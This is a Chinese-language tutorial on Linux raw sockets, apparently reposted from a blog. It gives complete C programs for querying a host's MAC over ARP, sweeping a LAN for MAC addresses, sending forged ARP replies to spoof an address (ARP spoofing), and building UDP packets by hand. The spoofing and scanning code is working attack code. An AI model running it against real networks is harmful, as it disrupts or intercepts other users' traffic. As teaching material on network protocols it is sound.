09_原始套接字

知识点1【ARP请求 某台主机的MAC】

知识点2【扫描整个局域网的mac】

知识点3【ARP欺骗 数组逐个元素组包】

知识点4【ARP欺骗 结构体完成】

1、以太网结构体

2、ARP 头部

知识点5【原始套接字 发送普通udp信息】

1、组mac头部: 

2、组IP头

3、组UDP

知识点1【ARP请求 某台主机的MAC】

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<pthread.h>
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);
void *recv_msg(void *arg)
{
	int sockfd = (int)arg;
	while(1)
	{
		unsigned char buf[1500]="";
		recvfrom(sockfd, buf,sizeof(buf), 0,NULL,NULL);
		
		if(ntohs(*(unsigned short *)(buf+12)) == 0x0806)//arp报文
		{
			if(ntohs(*(unsigned short *)(buf+14+6)) == 2)//应答
			{
				//获取mac buf中的
				unsigned char tmp_ip[4]={192,168,0,110};
				if(memcmp(tmp_ip,buf+14+14, 4) == 0)
				{
					char mac[18]="";
					sprintf(mac,"%02x:%02x:%02x:%02x:%02x:%02x",
					buf[6+0],buf[6+1],buf[6+2],buf[6+3],buf[6+4],buf[6+5]);
					char ip[16]="";
					sprintf(ip,"%d.%d.%d.%d",\
					buf[28+0],buf[28+1],buf[28+2],buf[28+3]);
					printf("IP:%s--->MAC:%s\n",ip,mac);
					break;
				}
				
			}
			
			
		}
		return NULL;
	}
	
}
int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	//msg存放arp请求报文
	unsigned char msg[]={
		/*mac报文头部 14B*/
		0xff,0xff,0xff,0xff,0xff,0xff,/*目的mac地址*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		0x08,0x06,/*帧类型*/
		
		/*ARP报文头部 28B*/
		0x00,0x01,/*硬件类型*/
		0x08,0x00,/*协议类型*/
		6,/*硬件地址长度*/
		4,/*协议地址长度*/
		0x00,0x01,/*1 ARP请求*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		192,168,0,111,/*源IP 根据自己修改 ubuntu_ip*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*目的mac地址*/
		192,168,0,110/*目的IP*/
	};
	
	//创建线程接受arp应答
	pthread_t tid;
	pthread_create(&tid,NULL, recv_msg, (void *)sockfd);
	
	//发送arp请求帧数据
	my_sendto(sockfd, "eth0",msg, 42);
	
	//等待线程结束
	pthread_join(tid, NULL);
	
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

 运行结果:

知识点2【扫描整个局域网的mac】

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<pthread.h>
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);
void *recv_msg(void *arg)
{
	int sockfd = (int)arg;
	while(1)
	{
		unsigned char buf[1500]="";
		recvfrom(sockfd, buf,sizeof(buf), 0,NULL,NULL);
		
		if(ntohs(*(unsigned short *)(buf+12)) == 0x0806)//arp报文
		{
			if(ntohs(*(unsigned short *)(buf+14+6)) == 2)//应答
			{
				
				char mac[18]="";
				sprintf(mac,"%02x:%02x:%02x:%02x:%02x:%02x",
				buf[6+0],buf[6+1],buf[6+2],buf[6+3],buf[6+4],buf[6+5]);
				char ip[16]="";
				sprintf(ip,"%d.%d.%d.%d",\
				buf[28+0],buf[28+1],buf[28+2],buf[28+3]);
				printf("IP:%s--->MAC:%s\n",ip,mac);
			}
		}
	}
	return NULL;
}
int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	//msg存放arp请求报文
	unsigned char msg[]={
		/*mac报文头部 14B*/
		0xff,0xff,0xff,0xff,0xff,0xff,/*目的mac地址*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		0x08,0x06,/*帧类型*/
		
		/*ARP报文头部 28B*/
		0x00,0x01,/*硬件类型*/
		0x08,0x00,/*协议类型*/
		6,/*硬件地址长度*/
		4,/*协议地址长度*/
		0x00,0x01,/*1 ARP请求*/
		0x00,0x0c,0x29,0x79,0xf9,0x7f,/*源mac地址 根据自己修改 ubuntu_mac*/
		192,168,0,111,/*源IP 根据自己修改 ubuntu_ip*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*目的mac地址*/
		192,168,0,0/*目的IP*/
	};
	
	//创建线程接受arp应答
	pthread_t tid;
	pthread_create(&tid,NULL, recv_msg, (void *)sockfd);
	sleep(2);
	//发送arp请求帧数据
	int i=0;
	for(i=1;i<255;i++)
	{
		msg[41]=i;
		my_sendto(sockfd, "eth0",msg, 42);
	}
	
	sleep(3);
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

 运行结果:

知识点3【ARP欺骗 数组逐个元素组包】

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<unistd.h>//_exit
#include<string.h>//strncpy
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);

int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	//msg存放arp应答报文
	unsigned char msg[]={
		/*mac报文头部 14B*/
		0x70,0x5A,0x0F,0x63,0xF5,0x9D,/*目的mac地址 XPmac*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*源mac地址伪装的mac 假的*/
		0x08,0x06,/*帧类型*/
		
		/*ARP报文头部 28B*/
		0x00,0x01,/*硬件类型*/
		0x08,0x00,/*协议类型*/
		6,/*硬件地址长度*/
		4,/*协议地址长度*/
		0x00,0x02,/*2 ARP应答*/
		0x00,0x00,0x00,0x00,0x00,0x00,/*源mac地址伪装的mac 假的*/
		192,168,0,111,/*源IP 根据自己修改 ubuntu_ip*/
		0x70,0x5A,0x0F,0x63,0xF5,0x9D,/*目的mac地址 xp_mac*/
		192,168,0,110/*目的IP*/
	};
	
	//发送arp请求帧数据
	int i=0;
	for(i=1;i<20;i++)
	{
		my_sendto(sockfd, "eth0",msg, 42);
		sleep(1);
	}
	
	
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

 运行之前:

 运行之后:sudo ./a.out

 知识点4【ARP欺骗 结构体完成】

1、以太网结构体

struct ether_header所在位置:#include <net/ethernet.h>(首选)

2、ARP 头部

Struct arphdr ;所在位置 /usr/include/net/if_arp.h #include <net/if_arp.h>

使用的时候记得将#if 0--->改成#if 1

案例:

#include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<unistd.h>//_exit
#include<string.h>//strncpy
#include <net/ethernet.h>//struct ether_header
#include <net/if_arp.h>//struct arphdr
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);

int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	
	/*目的mac地址 XPmac*/
	unsigned char dst_mac[6]={0x70,0x5A,0x0F,0x63,0xF5,0x9D};
	unsigned char src_mac[6]={0x00};
	unsigned char src_ip[4]={192,168,0,111};
	unsigned char dst_ip[4]={192,168,0,110};
	
	unsigned char msg[1024]="";
	//1、组mac头部
	struct ether_header *eth_addr = (struct ether_header *)msg;
	//赋值目的mac地址
	memcpy(eth_addr->ether_dhost, dst_mac, 6);
	//赋值源mac地址
	memcpy(eth_addr->ether_shost, src_mac, 6);
	//赋值帧类型
	eth_addr->ether_type = htons(0x0806);
	
	//2、组arp头部
	struct arphdr *arp_head = (struct arphdr *)(msg+14);
	arp_head->ar_hrd = htons(1);
	arp_head->ar_pro = htons(0x0800);
	arp_head->ar_hln = 6;
	arp_head->ar_pln = 4;
	arp_head->ar_op = htons(2);
	memcpy(arp_head->__ar_sha, src_mac,6);
	memcpy(arp_head->__ar_sip, src_ip,4);
	memcpy(arp_head->__ar_tha, dst_mac,6);
	memcpy(arp_head->__ar_tip, dst_ip,4);
	
	//发送arp请求帧数据
	int i=0;
	for(i=1;i<20;i++)
	{
		my_sendto(sockfd, "eth0",msg, 42);
		sleep(1);
	}
	
	
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

知识点5【原始套接字 发送普通udp信息】

ubuntu 发送udp数据 到windows上

1、组mac头部: 

unsigned char msg[1024]="";
	//1、组mac头部
	struct ether_header *eth_addr = (struct ether_header *)msg;
	//赋值目的mac地址
	memcpy(eth_addr->ether_dhost, dst_mac, 6);
	//赋值源mac地址
	memcpy(eth_addr->ether_shost, src_mac, 6);
	//赋值帧类型 
	eth_addr->ether_type = htons(0x0800);

2、组IP头

struct iphdr;      //所在位置:/usr/include/netinet/ip.h #include <netinet/ip.h>

struct iphdr *ip_hdr = (struct iphdr *)(msg+14);
	ip_hdr->version = 4;//IPv4版本
	ip_hdr->ihl = 5;//IP头部长度 单位4B 所以赋值5其实就是5*4=20B
	ip_hdr->tos = 0;//服务类型
	ip_hdr->tot_len = htons(20+8+data_len);//总长度=IP首部长度+IP数据长度
	ip_hdr->id = htons(0);//标识
	ip_hdr->frag_off = htons(0);//标志 + 片偏移
	ip_hdr->ttl = 128;//64或128都可以 生命周期
	ip_hdr->protocol = 17;//udp 17   tcp 6
	ip_hdr->check = htons(0);//首部校验???? 后续校验
	memcpy(&ip_hdr->saddr, src_ip, 4);
	memcpy(&ip_hdr->daddr, dst_ip, 4);
	//ip报文头部校验
	ip_hdr->check = checksum(ip_hdr, 20);

3、组UDP头

struct udphdr ;   //所在位置:/usr/include/netinet/udp.h #include <netinet/udp.h>

UDP校验方式:

1、在对UDP校验的时候需要在UDP报文之间加上伪头部。

IP校验的时候不需要伪头部

 伪头部中的源ip、目的IP必须和 IP报文中源ip、目的IP 一致。

typedef struct
{
	u_int32_t saddr;//源IP
	u_int32_t daddr;//目的IP
	u_int8_t flag;//标记(0)
	u_int8_t type;//udp协议 17
	u_int16_t len;//长度
}WEIHDR;
unsigned short checksum(unsigned short *buf, int len)
{
	int nword = len/2;
	unsigned long sum;

	if(len%2 == 1)
		nword++;
	for(sum = 0; nword > 0; nword--)
	{
		sum += *buf;
		buf++;
	}
	sum = (sum>>16) + (sum&0xffff);
	sum += (sum>>16);
	return ~sum;
}

//3、udp头部
	struct udphdr *udp_hdr = (struct udphdr *)(msg+14+20);
	udp_hdr->source = htons(8000);//源端口
	udp_hdr->dest = htons(9000);//目的端口
	udp_hdr->len = htons(8+data_len);//udp总长度=udp报文头+数据长
	udp_hdr->check = htons(0);//???? udp校验
	//将data拷贝到udp的数据部分
	memcpy(msg+14+20+8, data, data_len);
	
	//准备udp校验
	unsigned char wei_head[256]="";
	WEIHDR *wei_hdr = (WEIHDR *)wei_head;
	memcpy(&wei_hdr->saddr, src_ip, 4);//源IP
	memcpy(&wei_hdr->daddr, dst_ip, 4);//目的IP
	wei_hdr->flag = 0;
	wei_hdr->type = 17;//协议
	wei_hdr->len = htons(8+data_len);//udp的总长度
	//将msg中的udp头部信息以及data数据 拷贝到为头部后方
	memcpy(wei_head+12, udp_hdr, 8+data_len);
	
	//校验udp: 为头部+udp头部+data部分
	udp_hdr->check = checksum(wei_head, 12+8+data_len);

完整代码如下:

include<stdio.h>
#include<sys/socket.h>
#include<netinet/ether.h>
#include <sys/ioctl.h>//ioctl
#include <net/if.h>//struct ifreq
#include <netpacket/packet.h>//struct sockaddr_ll
#include<unistd.h>//_exit
#include<string.h>//strncpy
#include <net/ethernet.h>//struct ether_header
#include <net/if_arp.h>//struct arphdr
#include <netinet/ip.h>//struct iphdr
#include <netinet/udp.h>//struct udphdr
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len);
typedef struct
{
	u_int32_t saddr;//源IP
	u_int32_t daddr;//目的IP
	u_int8_t flag;//标记(0)
	u_int8_t type;//udp协议 17
	u_int16_t len;//长度
}WEIHDR;
unsigned short checksum(unsigned short *buf, int len)
{
	int nword = len/2;
	unsigned long sum;

	if(len%2 == 1)
		nword++;
	for(sum = 0; nword > 0; nword--)
	{
		sum += *buf;
		buf++;
	}
	sum = (sum>>16) + (sum&0xffff);
	sum += (sum>>16);
	return ~sum;
}
int main()
{
	//1、创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd < 0)
	{
		perror("socket");
		return 0;
	}
	//获取要发送的消息
	printf("请输入要发送的消息:");
	char data[128]="";
	fgets(data,sizeof(data),stdin);
	data[strlen(data)-1]=0;//去掉回车
	int data_len = strlen(data);
	//如果data_len不是偶数 补0为偶数
	if(data_len%2 != 0)//奇数
		data_len++;
	
	/*目的mac地址 XPmac*/
	unsigned char dst_mac[6]={0x70,0x5A,0x0F,0x63,0xF5,0x9D};//win_mac
	unsigned char dst_ip[4]={192,168,0,110};//win_ip
	unsigned char src_mac[6]={0x00,0x0c,0x29,0x79,0xf9,0x7f};//ubuntu_mac
	unsigned char src_ip[4]={192,168,0,111};//ubuntu_ip
	
	
	unsigned char msg[1024]="";
	//1、组mac头部
	struct ether_header *eth_addr = (struct ether_header *)msg;
	//赋值目的mac地址
	memcpy(eth_addr->ether_dhost, dst_mac, 6);
	//赋值源mac地址
	memcpy(eth_addr->ether_shost, src_mac, 6);
	//赋值帧类型 
	eth_addr->ether_type = htons(0x0800);
	
	//2、组IP报文
	struct iphdr *ip_hdr = (struct iphdr *)(msg+14);
	ip_hdr->version = 4;//IPv4版本
	ip_hdr->ihl = 5;//IP头部长度 单位4B 所以赋值5其实就是5*4=20B
	ip_hdr->tos = 0;//服务类型
	ip_hdr->tot_len = htons(20+8+data_len);//总长度=IP首部长度+IP数据长度
	ip_hdr->id = htons(0);//标识
	ip_hdr->frag_off = htons(0);//标志 + 片偏移
	ip_hdr->ttl = 128;//64或128都可以 生命周期
	ip_hdr->protocol = 17;//udp 17   tcp 6
	ip_hdr->check = htons(0);//首部校验???? 后续校验
	memcpy(&ip_hdr->saddr, src_ip, 4);//源IP
	memcpy(&ip_hdr->daddr, dst_ip, 4);//目的IP
	//ip报文头部校验
	ip_hdr->check = checksum(ip_hdr, 20);
	
	//3、udp头部
	struct udphdr *udp_hdr = (struct udphdr *)(msg+14+20);
	udp_hdr->source = htons(8000);//源端口
	udp_hdr->dest = htons(9000);//目的端口
	udp_hdr->len = htons(8+data_len);//udp总长度=udp报文头+数据长
	udp_hdr->check = htons(0);//???? udp校验
	//将data拷贝到udp的数据部分
	memcpy(msg+14+20+8, data, data_len);
	
	//准备udp校验
	unsigned char wei_head[256]="";
	WEIHDR *wei_hdr = (WEIHDR *)wei_head;
	memcpy(&wei_hdr->saddr, src_ip, 4);//源IP
	memcpy(&wei_hdr->daddr, dst_ip, 4);//目的IP
	wei_hdr->flag = 0;
	wei_hdr->type = 17;//协议
	wei_hdr->len = htons(8+data_len);//udp的总长度
	//将msg中的udp头部信息以及data数据 拷贝到为头部后方
	memcpy(wei_head+12, udp_hdr, 8+data_len);
	
	//校验udp: 为头部+udp头部+data部分
	udp_hdr->check = checksum(wei_head, 12+8+data_len);
	
	//发送arp请求帧数据
	my_sendto(sockfd, "eth0",msg, 14+20+8+data_len);
	
	close(sockfd);
	return 0;
}
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, out, IFNAMSIZ);
	if(-1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	//帧数据 出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll,sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	//2、发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

运行结果:

猜你喜欢

转载自blog.csdn.net/buhuidage/article/details/127954001